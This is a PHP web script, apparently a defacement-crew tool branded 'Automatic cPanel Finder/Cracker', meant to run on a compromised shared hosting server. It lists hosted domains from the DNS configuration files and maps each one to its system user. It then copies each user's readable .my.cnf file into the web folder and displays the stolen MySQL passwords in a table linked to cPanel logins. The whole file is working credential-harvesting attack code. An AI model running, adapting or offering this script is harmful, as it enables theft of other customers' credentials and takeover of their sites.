<?php
/**
 * @author: FaisaL Ahmed - rEd X
 * @rewrite: sn
 * @screenshot: http://prntscr.com/7c1p34
 * @created: 01 June 2015
 * @rewritten: 01 April 2016
 * @original: http://pastebin.com/7M6F07xu
 * @site: http://siph0n.in
 */

@ini_set('display_errors', 0);

function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i=1) {
	$ar0 = explode($marqueurDebutLien, $text);
	$ar1 = explode($marqueurFinLien, $ar0[$i]);
	return trim($ar1[0]);
}

$d0mains = @file("/etc/named.conf");
$domains = scandir("/var/named");

if($domains or $d0mains) {
	$domains = scandir("/var/named");
	if($domains) {
		$page = "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
		$count = 1;
		$dc = 0;
		$list = scandir("/var/named");
		foreach($list as $domain) {
			if(strpos($domain, ".db")) {
				$domain = str_replace(".db", "", $domain);
				$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
				$dirz = "/home/".$owner['name']."/.my.cnf";
				$path = getcwd();
				if(is_readable($dirz)) {
					copy($dirz, "".$path."/".$owner['name'].".txt");
					$p=file_get_contents("".$path."/".$owner['name'].".txt");
					$password = entre2v2($p, 'password="', '"');
					$page .= "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
					$dc++;
				}
			}
		}
		$total = $dc;
		$page .= "</table><br><div class='result'>Total cPanel Found = '.$total.'</h3><br />";
	} else {
		$d0mains = @file("/etc/named.conf");
		if($d0mains) {
			$page = "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
			$count = 1;
			$dc = 0;
			$mck = array();
			foreach($d0mains as $d0main) {
				if(@eregi('zone', $d0main)) {
					preg_match_all('#zone "(.*)"#',$d0main,$domain);
					flush();
					if(strlen(trim($domain[1][0])) >2){
                        $mck[] = $domain[1][0];
                    }
				}
			}
			$mck = array_unique($mck);
			$usr = array();
			$dmn = array();
			foreach($mck as $o) {
				$infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
				$usr[] = $infos['name'];
				$dmn[] = $o;
			}
			array_multisort($usr, $dmn);
			$dt = file('/etc/passwd');
			$passwd = array();
			foreach($dt as $d) {
				$r = explode(':'. $d);
				if(strpos($r[5], 'home')) {
					$passwd[$r[0]] = $r[5];
				}
			}
			$l = 0;
			$j = 1;
			foreach($usr as $r) {
				$dirz = "/home/".$r."/.my.cnf";
                $path = getcwd();
                if (is_readable($dirz)) {
                    copy($dirz, ''.$path.'/'.$r.'.txt');
                    $p=file_get_contents(''.$path.'/'.$r.'.txt');
                    $password=entre2v2($p,'password="','"');
                    $page .= "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
                    $dc++;
                    flush();
                    $l=$l?0:1;
                    $j++;
                }
			}
			$total = $dc;
			$page .= "</table><br><div class='result'>Total cPanel Found = ".$total."</h3><br />";	
		}
	}
} else {
	$page = "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
}


?>

<html>
	<head>
		<title>Automatic cPanel Finder/Cracker | 3xp1r3 Cyber Army</title>
		<meta content="text/html; charset=utf-8">
		<meta name="description" content="Automatic cPanel Finder/Cracker" />
		<meta name="author" content="rEd X" />
		<link rel="SHORTCUT ICON" href="http://us.yimg.com/i/mesg/emoticons7/61.gif">
		<link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">
		<link rel="stylesheet" type="text/css" href="http://faialahmad.me/wp-content/assets/css/1.css">
	</head>
	<body>
		<div style="font-family: Iceland;font-size: 35pt;text-shadow: 0 0 6px #FF0000, 0 0 5px #FF0000, 0 0 5px #FF0000;color: #FFF">
			cPanel Finder/Cracker<br />
			<sub>3xp1r3 Cyber Army</sub>
		</div><br/>
		<center>
			<?php echo $page; ?>
		</center>
		<br>&#169;
		<font color="#FF0000">rEd X</font> | 3xp1r3 Cyber Army
	</body>
</html>

# siph0n [2016-04-01]